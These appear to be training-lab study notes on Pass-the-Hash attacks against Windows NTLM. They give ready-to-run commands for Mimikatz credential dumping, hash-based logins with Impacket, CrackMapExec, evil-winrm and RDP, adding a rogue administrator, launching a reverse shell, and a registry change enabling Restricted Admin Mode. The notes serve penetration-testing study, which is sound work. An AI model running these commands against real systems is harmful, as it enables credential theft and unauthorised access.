Pass the Hash (PtH) (NTLM)

It is an attack in which the attacker can use a user's password hash instead of the plaintext password
  • A user's NTLM hash remains static until the password changes.
  • Therefore, if the attacker obtains the hash, they can authenticate without knowing the plaintext password
Sources of hashes
  • Local Windows SAM on a compromised host.
  • NTDS database (ntds.dit) on the Domain Controller.
  • Memory (lsass.exe) on a Windows system

Windows NTLM

NTLM (New Technology LAN Manager) is a legacy Microsoft authentication protocol. It does not use salts for passwords, so if an attacker has the NTLM hash, they can reuse it. Kerberos replaced NTLM as the default mechanism in modern AD domains, but it is still present for compatibility.

Pass the Hash - Mimikatz (Windows)

  • Tool: Mimikatz. Module: sekurlsa::pth
  • Parameters: /user, /rc4 (or /NTLM), /domain (or . for local accounts), /run
txt
mimikatz.exe privilege::debug
"sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe"
exit
To obtain hashes from a DC (after running mimikatz):
txt
sekurlsa::logonpasswords

Pass the Hash - PowerShell (Windows)

Tool: Invoke-TheHash (PowerShell functions for PtH over WMI and SMB).

SMBExec

powershell
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose

WMIExec (reverse shell)

powershell
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e [payload-base64]"

Pass the Hash with Impacket

terminal
impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
The LM hash is left empty before the colon. Others: impacket-wmiexec, impacket-atexec, impacket-smbexec.

Pass the Hash with CrackMapExec

terminal
$ crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453$ crackmapexec smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami
If Pwn3d! appears, it means we are an admin.

Pass the Hash with evil-winrm

terminal
$ evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

Pass the Hash with RDP

terminal
$ xfreerdp /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B
Restricted Admin Mode must be enabled:
txt
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

UAC and PtH Limitations with Local Accounts

LocalAccountTokenFilterPolicy: 0 = only the RID-500 admin account can perform remote administration; 1 = any local account in the Administrators group can. FilterAdministratorToken set to 1 = the local Admin account is also subject to UAC.